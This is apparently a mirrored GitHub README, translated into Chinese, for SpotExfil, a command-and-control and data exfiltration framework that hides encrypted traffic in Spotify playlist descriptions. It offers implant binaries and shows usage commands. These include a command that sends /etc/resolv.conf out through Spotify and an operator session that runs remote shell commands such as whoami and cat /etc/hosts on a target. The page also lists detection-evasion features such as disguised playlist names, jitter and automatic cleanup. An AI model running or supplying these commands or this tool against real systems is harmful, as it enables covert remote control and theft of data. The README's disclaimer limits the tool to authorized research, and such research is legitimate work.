sourcefrenchy/spotexfil

GitHub: sourcefrenchy/spotexfil

利用 Spotify API 播放列表实现加密隐蔽信道与 C2 框架的数据外泄方案。

Stars: 19 | Forks: 1

[![CodeQL](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/556140018c054951.svg)](https://github.com/sourcefrenchy/spotexfil/actions/workflows/codeql-analysis.yml) # SpotExfil 一个利用 Spotify 播放列表描述作为通信媒介的隐蔽通道和 C2 框架,每次传输 512 个字符。 提供 **Python** 和 **Go** 两种实现,载荷加密后在 wire 层面兼容。 更多信息请参考 [Exfiltration Series: SpotExfil](https://medium.com/@jeanmichel.amblat/exfiltration-series-spotexfil-9aee76382b74) ## 功能特性 ### 加密与操作安全 - **AES-256-GCM 加密**,使用 PBKDF2-SHA256 密钥派生(480K 次迭代) - **轮换 HMAC 标签**——C2 播放列表标识符每小时轮换,防止长期流量关联 - **自动生成会话密钥**——植入程序启动时生成 NATO 音标口令(永不进入 argv) - **会话绑定**——所有命令/结果绑定到加密随机会话 ID,防止重放 - **时间戳校验**——超过 5 分钟的命令将被拒绝 - **HMAC-SHA256 客户端 ID**——64 位碰撞抗性代理标识符(加键保护,不可伪造) - **BLAKE2b 完整性校验**——编码与解码时均进行验证 - **Gzip 压缩**——文本类载荷可压缩 60-80% ### C2 框架 - **多植入支持**——`agents`、`attach `、`detach` 用于管理多个植入 - **交互式 Shell(ishell)**——远程 Shell,支持命令队列,自动识别 bash/powershell - **连接时直接执行 Shell**——附加后可直接输入命令(无需 `shell` 前缀) - **自动签到**——植入程序主动宣告自身,操作员实时查看连接 - **模块**:Shell(执行命令)、Exfil(读取文件)、Sysinfo(OS/网络侦察) - **智能限速**——指数退避、人可读错误信息、自动恢复 ### 基础设施 - **双语言实现**——Python 包 + 独立 Go 二进制(无需运行时) - **跨平台二进制**——macOS(Apple Silicon)、Linux(x64)、Windows(x64),已剥离 - **隐蔽性**——伪装播放列表名称、随机填充曲目、抖动轮询、激进清理 - **配置文件支持**(`~/.spotexfil.conf`),环境变量可选 ## 架构 ``` spotexfil/ ├── shared/ # Wire format specs (single source of truth) │ ├── protocol.json # Crypto constants, transport params │ ├── modules.yaml # C2 module definitions │ └── test_vectors/ # Cross-language crypto validation ├── python/ # Python implementation │ ├── spotexfil/ # Package with ABCs, crypto, transport, C2 │ │ ├── interfaces.py # CryptoProvider, Transport, C2Module ABCs │ │ ├── crypto.py # AES-GCM, PBKDF2, BLAKE2b │ │ ├── transport.py # Spotify API wrapper │ │ ├── protocol.py # C2 message serialization │ │ ├── implant.py # C2 implant daemon │ │ ├── operator.py # C2 operator console │ │ ├── modules/ # Pluggable module registry │ │ └── cli.py # Unified CLI │ └── tests/ # 156+ tests ├── go/ # Go implementation │ ├── cmd/spotexfil/ # Cobra CLI │ ├── internal/ │ │ ├── crypto/ # AES-GCM, PBKDF2, BLAKE2b, HMAC │ │ ├── encoding/ # File exfil pipeline │ │ ├── protocol/ # C2 messages, encrypted descriptions │ │ ├── spotify/ # zmb3/spotify/v2 wrapper │ │ └── c2/ # Implant, operator, module registry │ └── go.mod ├── Makefile # Build + test both languages └── README.md ``` ## 先决条件 1. 在 [Spotify Developer Dashboard](https://developer.spotify.com/dashboard/) 注册应用 2. 添加重定向 URI(例如 `http://127.0.0.1:8888/callback`) 3. 通过环境变量或 `~/.spotexfil.conf` 提供凭证: ``` export SPOTIFY_USERNAME=YourUsername export SPOTIFY_CLIENT_ID=your_client_id export SPOTIFY_CLIENT_SECRET=your_client_secret export SPOTIFY_REDIRECTURI=http://127.0.0.1:8888/callback ``` 或创建 `~/.spotexfil.conf`: ``` [spotify] username = YourUsername client_id = your_client_id client_secret = your_client_secret redirect_uri = http://127.0.0.1:8888/callback ``` ## 安装 ### Go(预编译二进制,无需运行时) 从 `dist/` 下载对应二进制文件: - `spotexfil-darwin-arm64` —— macOS Apple Silicon - `spotexfil-linux-amd64` —— Linux x64 - `spotexfil-windows-amd64.exe` —— Windows x64 ### Python(从源码) ``` cd python && pip install -r requirements.txt ``` ### 从源码构建 ``` make all # Cross-compile Go binaries for all platforms make test # Run both Python and Go test suites make lint # Flake8 Python code ``` ## 用法 ### C2 模式 ``` # 终端 1:植入程序启动(自动生成会话密钥) ./spotexfil-darwin-arm64 c2-implant --interval 30 --jitter 10 # 输出: # [*] 会话密钥:bravo-kilo-seven-echo-tango-lima # [*] 使用此密钥启动操作员: # ./spotexfil c2-operator -k "bravo-kilo-seven-echo-tango-lima" # [*] 每 20-40 秒轮询一次 # [*] 会话:a3f2b7c91e04 # [*] 签到已发送(client_id=7f3a2b1c9e04d8f1)于 15:30:05 # 终端 2:操作员(使用植入程序显示的密钥) ./spotexfil-darwin-arm64 c2-operator -k "bravo-kilo-seven-echo-tango-lima" --poll-interval 30 # 备选:从文件或环境变量获取密钥 ./spotexfil-darwin-arm64 c2-operator --key-file /path/to/keyfile SPOTEXFIL_KEY="bravo-kilo-seven-echo-tango-lima" ./spotexfil-darwin-arm64 c2-operator ``` ### 操作员控制台 ``` ┌─────────────────────────────────────────────┐ │ ___ _ ___ __ _ _ │ │ / __|_ __ ___ | |_| __|__ _/ _(_) | │ │ \__ \ '_ \/ _ \| _| _|\ \ / _| | | │ │ |___/ .__/\___/ \__|___/_\_\_| |_|_|_| │ │ |_| │ │ C2 OPERATOR CONSOLE │ └─────────────────────────────────────────────┘ Polling every 30s | Type 'help' for commands [+] New implant connected! client_id : 7f3a2b1c9e04d8f1 session : a3f2b7c91e04 hostname : target.local os : darwin/arm64 user : admin timestamp : 2026-04-18 15:30:05 [15:30] c2> agents ID HOSTNAME OS USER CONNECTED ---------------- ---------------- -------------------- ---------- ------------------- 7f3a2b1c9e04d8f1 target.local darwin/arm64 admin 2026-04-18 15:30:05 [15:30] c2> attach 7f3a [*] Attached to 7f3a2b1c9e04d8f1 (target.local) [15:30] 7f3a2b1c@target.local > whoami [*] Command queued: seq=1 module=shell [15:30] 7f3a2b1c@target.local > uname -a [*] Command queued: seq=2 module=shell [15:30] 7f3a2b1c@target.local > sysinfo [*] Command queued: seq=3 module=sysinfo [15:30] 7f3a2b1c@target.local > results [15:30] 7f3a2b1c@target.local > detach [*] Detached from 7f3a2b1c9e04d8f1 (target.local) [15:31] c2> ``` ### 交互式 Shell(ishell) ``` [15:31] 7f3a2b1c@target.local > ishell [*] Interactive shell to target.local (darwin/arm64) [*] Shell: bash | Commands queue automatically | 'quit' to exit 7f3a2b1c@target.local $ ls -la /tmp -> queued seq=4 7f3a2b1c@target.local $ cat /etc/hosts -> queued seq=5 [queued: 2] 7f3a2b1c@target.local $ $ ls -la /tmp drwxrwxrwt 12 root wheel 384 Apr 18 15:31 . ... $ cat /etc/hosts 127.0.0.1 localhost 7f3a2b1c@target.local $ quit [*] Leaving interactive shell ``` ### 可用命令 ``` Agent management: agents List connected implants attach Attach to an agent (prefix match, e.g. 'attach 7f3a') detach Detach from current agent Commands (when attached, type directly or use prefix): ishell Interactive remote shell (auto-detects bash/powershell) Sent as shell command to attached agent exfil Exfiltrate a file sysinfo Gather system info Other: results Poll for pending results wait Wait for a specific result status Show agents and pending commands clean Remove all C2 playlists help Show this help quit / exit Exit the console ``` ### 数据外泄模式 ``` # 发送(加密 + 压缩,覆盖名称) ./spotexfil-darwin-arm64 send -f /etc/resolv.conf -k "passphrase" # 接收并解密 ./spotexfil-darwin-arm64 receive -k "passphrase" -o output.txt # 清理 ./spotexfil-darwin-arm64 clean ``` ## 安全模型 ### 加密 - 所有载荷:AES-256-GCM 配合 PBKDF2-SHA256(480K 次迭代) - C2 元数据:AES-256-GCM 使用 HMAC 派生快速密钥(每个播放列表无需 PBKDF2) - 完整性:BLAKE2b-160 哈希在解码时验证 ### 操作安全特性 | 特性 | 描述 | |------|------| | 轮换标签 | C2 播放列表标识符通过基于时间窗口的 HMAC 每小时轮换 | | 自动生成密钥 | 植入程序生成 NATO 音标口令(永不进入 argv/ps) | | 会话绑定 | 加密随机会话 ID 防止重放与跨会话泄露 | | 时间戳校验 | 超过 5 分钟的命令被拒绝 | | HMAC-SHA256 客户端 ID | 64 位加键标识符(无密钥不可伪造) | | 激进清理 | 读取后双方删除播放列表 | | 伪装名称 | 无害化播放列表名称(如 "Chill Vibes #a3f2") | | 抖动轮询 | 可配置间隔 + 随机抖动 | | 指数退避 | 智能限速处理并自动恢复 | | 随机 OAuth 状态 | OAuth 流程中不暴露工具指纹 | ### 分析员在 Spotify 上看到的内容 - 私有播放列表,名称类似 "Morning Coffee #b7c2" - 描述为加密的不可见数据块(HMAC 标签 + AES-GCM 密文) - 无明文元数据、无顺序命名、无可检测模式 - 播放列表在读取后数秒内被删除 ## 测试 ``` make test # Run everything (Python 156+ tests + Go tests) make test-python # Python only make test-go # Go only make lint # Flake8 ``` ## 跨语言互操作 Python 与 Go 实现 wire 兼容: - **Go 操作员** 向 **Python 植入程序** 发送命令 - **Python 操作员** 向 **Go 植入程序** 发送命令 - 文件外泄载荷可互换 - 共享测试向量强制加密兼容性 ## 限制 - 最大载荷约 1MB(~2000 个播放列表) - 大文件传输较慢(每 512 字符一个 API 调用) - Spotify 限流:约 180 次/30 秒,写入限制升级至 24 小时 - C2 轮询增加延迟(可配置,默认 30-90 秒) ## 免责声明 本项目仅为**教育与授权安全研究用途**的证明概念。请勿用于未经授权的数据外泄或对计算机系统的未授权访问。作者不对滥用行为负责。 ## 待办事项 - 账户轮换支持 - 额外 C2 模块(截图、持久化) - 多账户中继 / 死信投递 - 隐写载荷编码
标签:AES-256-GCM, BLAKE2b, C2框架, Go, Gzip压缩, HMAC-SHA256, HMAC轮转, NATO音标, PBKDF2-SHA256, Python, Ruby工具, SEO: C2框架, SEO: 数据外泄技术, SEO: 隐蔽信道, Spotify API, 会话管理, 会话绑定, 加密通信, 反向Shell, 命令与控制, 多语言实现, 安全学习资源, 密钥派生, 数据外泄, 文件渗漏, 无后门, 日志审计, 时间戳验证, 智能限速, 植入体, 系统信息收集, 逆向工具, 隐写通信, 隐蔽通道